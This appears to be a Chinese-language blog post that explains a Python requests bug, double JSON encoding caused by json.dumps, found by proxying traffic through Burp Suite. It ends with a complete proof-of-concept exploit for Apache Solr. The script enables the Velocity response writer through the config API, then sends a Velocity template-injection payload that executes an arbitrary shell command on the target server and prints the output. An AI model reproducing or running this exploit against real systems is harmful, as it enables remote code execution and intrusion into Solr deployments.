Python3 post 嵌套json

目錄

• python3 post json
• burpsuite 抓取 python requests 數據包
• 小結

python3 post json

前些天python3 post出現的小問題做下記錄
在調試python3 發送json 的時候總是出現服務器500的錯誤，找不出原因，就想到是不是我post的內容是不是不符合預期。

def upconf(url,name):
    url = "192.168.30.100:8983"
    name = "db"
    # 設置代理
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = json.dumps(postData),proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

一直顯示 500錯誤

burpsuite 抓取 python requests 數據包

在burpsuite設置的地址和端口要和python的一致。

設置代理后抓包發現，數據包是這樣的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 246

"{\"update-queryresponsewriter\": {\"startup\": \"lazy\", \"name\": \"velocity\", \"class\": \"solr.VelocityResponseWriter\", \"template.base.dir\": \"\", \"solr.resource.loader.enabled\": \"true\", \"params.resource.loader.enabled\": \"true\"}}"

而我預期是這樣的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 218

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

上網查了下，多了一些轉義符（"\"）,是由於postData 已經是json格式，而不是字符串,在使用json.dumps(postData),相當於兩次轉換。只需要把這個去掉就行

def upconf(url,name):
    url = "192.168.30.100:8983"
    name = "db"
    # 設置代理
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

完整python3的poc 如下：

import requests
import json
import sys

name = ""

# 獲取core_name
def getname(url):
    url = url +  "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[1]
        print(name)
    except:
        pass
    return name

# 上傳修改配置文件
def upconf(url,name):
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

def poc():
    # 目標IP
    url = "http://192.168.30.100:8983"
    # 命令
    cmd = "id"
    name = getname(url)
    upconf(url,name)
    url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("GET",url)
    print("response:"+conn.text)
    # print(url)
    # print(cmd)
if __name__ == '__main__':
    poc()

小結

排查問題一定要認真。還需要學習補充python post 的其他方式和區別